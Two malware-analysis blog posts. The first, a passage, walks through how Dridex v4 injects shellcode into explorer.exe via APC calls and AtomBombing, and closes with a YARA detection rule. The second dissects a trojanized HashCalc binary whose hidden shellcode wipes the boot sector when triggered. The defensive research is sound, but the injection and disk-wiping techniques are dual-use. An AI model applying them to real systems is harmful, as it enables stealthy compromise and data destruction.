In this step, an alertable thread is needed to perform APC calls. Because using APC calls Dridex will be able to execute specific functions into explorer.exe.

To acomplish this, Dridex will obtain the handle to the process using OpenProcess function.

The handle will be used to launch NtQueueApcThread function in all the explorer's threads, setting NtSetEvent as ApcRoutine.


  IN HANDLE               ThreadHandle,
  IN PIO_APC_ROUTINE      ApcRoutine,
  IN PVOID                ApcRoutineContext OPTIONAL,
  IN ULONG                ApcReserved OPTIONAL );

The first thread that performs NtSetEvent will be the "chosen one" to perform the APC calls.

In this case, the thread that performed NtSetEvent first was the thread with 0xFC handle.

The handle 0xFC = Thread ID 920 (decimal) to hexadecimal 398

Writing the shellcode into explorer.exe

Now with the first thread that replied the APC call, the malicious DLL will performs the first "NtQueueApcThread" setting ntdll.memset to 0 where the code will be injected.

Memory of explorer.exe where memset was performed:

Now Dridex will create a new Atom with the first bytes that will be copied into explorer.exe.

The next function that will be used in conjuction with NtQueueApcThread will be GlobalGetAtomNameW.

As we can see, GlobalGetAtomNameW will be used with C06B, that is the name of the Atom that was created (used as container) in order to inject the data from Dridex.dll to explorer.exe

GlobalGetAtomNameW performed by explorer.exe because of the NtQueueApcThread call.

Data injected into explorer.exe in 775CAAA0 offset.

Shellcode functions

Dridex will continue injecting data into explorer.exe using the same technique:


When the first code has been injected, it will use memset to set to 0 -> 0x7758c5f0 (ntdll memory space):

Then using again AtomBombing it will inject the shellcode:

Modifying GlobalAtomGetAtomNameA to launch the shellcode

Now with all the necessary code injected into explorer.exe, Dridex will call the shellcode using this sneaky trick:

It will modify the original GlobalGetAtomNameA function, so that when GlobalGetAtomNameA will be called via NtQueueApcThread, the shellcode will be executed. Once the malicious DLL will launch the shellcode using this trick, it will restore GlobalGetAtomA.

After all this process, Dridex will check if there is any process opened with the names iexplorer.exe, chrome.exe, firefox.exe... In order to perform a new injection into the browser using the same tecnique again.


ntdll.dll is one of the DLLs that are at the same address system-wide, that means that its functions addresses will be fixed among all the processes with the ntdll library loaded.

That makes the injection easier for Dridex, because it only has to know where the ntdll addresses have been loaded, looking into its process and with that information, it will perform injections in other processes because the functions addresses of NTDLL are fixed.

Other important libraries that have fixed addreses are kernel32 and user32.

Debugging advices, the explorer trick:

If you attach the x64dbg to explorer.exe to analyze the shellcode injected by the Dridex DLL, you will notice that if you set a break point, all the windows will be frozen. And if you are using at the same time IDA to create an IDB could be very annoying.

The way to solve this, is creating other instance of the original explorer.exe. This could sound of common sense, but you have to know how the trick works :P.

  1. Copy explorer.exe from C:\Windows\explorer.exe to the Desktop.
  2. Now if you execute explorer.exe you will notice that there is only one explorer.exe in execution (This not works)
  3. Change the name of the explorer.exe from the desktop, example "aaaa.exe" and execute it, as you can see, now you have two explorer.exe instances in execution (the name "aaaa.exe" will be changed to "explorer.exe")
  4. Now we have two instances of explorer.exe but we want that the Dridex DLL only performs the injection routine into the new explorer.exe, to achive this we have to the next:
  5. We have to open the malicious Dridex DLL with x64dbg (set a bp in "NtQueueAPCThread"), then we have to attach our x64dbg to the new explorer.exe created and set a break point into "GlobalAtomGetAtomNameW".
  6. Then, using the task manager, we have to close the first explorer.exe and run the x64dbg with Dridex DLL until "NtQueueAPCThread".
  7. At this point, Dridex will be inject the shellcode in our explorer.exe.
  8. Now we want to recover our pretty desktop, to perform that, you have to open the task manager, launch a cmd and run explorer.exe. You will notice that you can navigate among all the windows, set bp into explorer.exe without froze all the desktop and complete your IDB in IDA Pro without any problem.
  9. Run Dridex Dll x64dbg and start you analysis!

AtomBombing will be used in the future by other malware developers?

In our opinion, this injection method is very useful and difficult to hunt if you do not understand how AtomBombing works, because Atoms are Windows Executive Objects and there are few tools able to capture their changes in a comfortable way.

Moreover the method that Dridex uses do not perform any ROP like the original POC, in this case it modifies the original function "GlobalAtomGetAtomNameA" to launch the shellcode, making the implementation process easier but less stealthy.

Yara Rule

rule Dridex : banker
      author = "51ddh4r7h4 & D00RT"
      date = "2017/08/01"
      description = "Dridex V4"
      reference/source = "http://reversingminds-blog.logdown.com"
      sample = "c19a33ec0125d579c4ab695363df49f7"
      in_the_wild = true

        $a = {48 83 EC 18 B8 41 45 38 09 C7 44 24 10 E1 28 71 01 8B 54 24 10 29 D0 89 44 24 0C 81 7C 24 0C 57 E4 75 2A 89 4C 24
              08 89 54 24 04 75 00 8B 44 24 08 89 04 24 8B 0C 24 65 67 48 8B 11 44 8B 44 24 04 41 81 C0 B4 AE 33 78 44 89 44 24
              14 48 89 D0 48 83 C4 18 C3 66 66 2E 0F 1F 84 00 00 00 00 00 48 83 EC 38 48 C7 44 24 30 70 D1 E6 75 48 8B 44 24 30
              48 35 21 50 E2 06 48 3D 48 39 05 15 72 0F B9 30 00 00 00 48 83 C4 38 48 E9 71 FF FF FF B9 76 A0 92 6C E8 67 FF FF
              FF 31 C9 89 CA 48 89 44 24 28 48 89 D0 48 83 C4 38 C3 66 0F 1F 44 00 00 48 83 EC 38 C7 44 24 34 85 1B 96 21 8B 44
              24 34 89 44 24 2C E8 97 FF FF FF 8B 4C 24 2C 81 E1 E0 CA 13 57 89 4C 24 30 8B 4C 24 2C 81 F9 7A 6B 6F 57 48 89 44
              24 20 75 00 8B 44 24 2C 35 55 36 B4 45 89 44 24 30 48 8B 4C 24 20 48 8B 41 60 48 83 C4 38 C3 66 66 66 66 2E 0F 1F
              84 00 00 00 00 00 48 83 EC 40 44 88 C8 41 B9 DC 96 50 30 45 89 CA 48 C7 44 24 28 5A 5B 6C 45 44 8B 4C 24 3C 41 81
              C1 AC 6F 55 46 44 89 4C 24 3C 4C 8B 5C 24 28 48 89 4C 24 10 4C 89 D9 49 D3 E2 4C 89 54 24 20 49 81 FB D2 F4 A4 6B
              48 89 54 24 08 88 44 24 07 44 89 04 24 77 33 B8 3B 48 13 64 C7 44 24 18 6E 8B 6E 1D 8B 0C 24 89 CA 41 89 D0 4C 89
              44 24 30 4C 8B 44 24 30 4C 8B 4C 24 08 47 8A 14 01 44 88 54 24 1F 3B 44 24 18 75 00 48 8B 44 24 30 8A 4C 24 1F 8A
              54 24 07 28 D1 4C 8B 44 24 10 41 88 0C 00 48 83 C4 40 C3 66 66 2E 0F 1F 84}



Authors: @51ddh4r7h4, @D00RT

over 1 year ago

During my researches I found the next file.

MD5 5e81bd134168d7d8c91b96d88b5e0fd0
SHA1 a632371b2aa54709d4bf6b0f28cb1904cb8864bc

The file is the HashCalc application made by SlavaSoft company (or no).

It works as its definition into SlavaSoft homepage:

A fast and easy-to-use calculator that allows to compute message digests, checksums and HMACs for files, as well as for text and hex strings. It offers a choice of 13 of the most popular hash and checksum algorithms for calculations.

And the binary has all features described in its description.

After a static analysis, I did not find anything interesting, just in the ".text" section there is permission to write, but this is typical in some packers.

When I analyzed the binary dynamically, no suspicious behavior was detected, I tried almost all features.

At this point, I was confused, it seems a legitimate binary, if there have not enough time to analyze the file, every people (including me) will say that the binary is goodware.

Before starting to debug the program, I thought to download the file from its homepage and compare it with my binary. But usually when a file is been analyzed we can not get the original file for comparing. In those cases, there are two choices, finish the analysis or to debug the full binary. If the binary is too big, we can spend a very long time to debug it, some times will be almost impossible if we want to have an immediate response(+100MB).

In this case I have the original file but, is there some hidden feature in the program I am analyzing? let's see.

They have the same entry point.

The MD5 value of all sections are equal, except in one case, ".text" section.

Comparing ".text" section we can found the differences between both files at the last bytes of the section.

If we decompile those bytes with hiew, we can read some ASM instrucctions.

I am going to put a breakpoint at the first instruccion, I want to debug that code. Maybe the code is executed or maybe no. Maybe it is not a code.

After put the breakpoint, the application runs well and it does not stop its execution. The images below show me testing some features of the application without stopping its execution.

In the next image, when I try to get the hash signatures from a file, the application stops its execution.

Now we are at the first instruction of the code seen previously. This code tries to decrypt itself. This image is the encrypted shellcode.

Function for decrypt the shellcode. (It is a simple XOR with 7 value).

Decrypted shellcode.

There are some interesting strings into decrypted shellcode:

- kernel32
- ANNA (Anna Chapman???)
- CreateEventA
- \\.\PhysicalDrive0
- ntdll

The shellcode looks like:

The shellcode does the next steps:

1. The code decrypts itself.
2. Adjusts Privileges (SeDebugPrivilege).

3. It creates a event named SLAVA. If the event is not created yet, it returns to original code, so this code is waiting for this event. (An event created by who?, It is too easy to create a legitimate program to create an event...)

4. The shellcode overwrites the first 512 bytes from "\\.\PhysicalDrive0" (boot sector). When this sector is overwritten the computer will never boot.

5. The code encrypts itself. It does this to hide the malicious code

6. It returns to original code.

If you remember the first image of this post, the file is detected only by one AV :O.

Conclusions: In these cases, is difficult to find the malicious code (It only is activated when a specific feature is used), think in a binary with +50MB. Maybe if we have the original file we can focus our analysis in the differences, but in some times this is not possible. We have to spend a lot of time (or money) to find malicious code. This file could be an APT waiting for third party event(Who did make this file? Why? Are they using a tool to make this?). So, if we have the oportunity, we must compare the file with the original file. But, What happen when we can not get the original file?

Author: @D00RT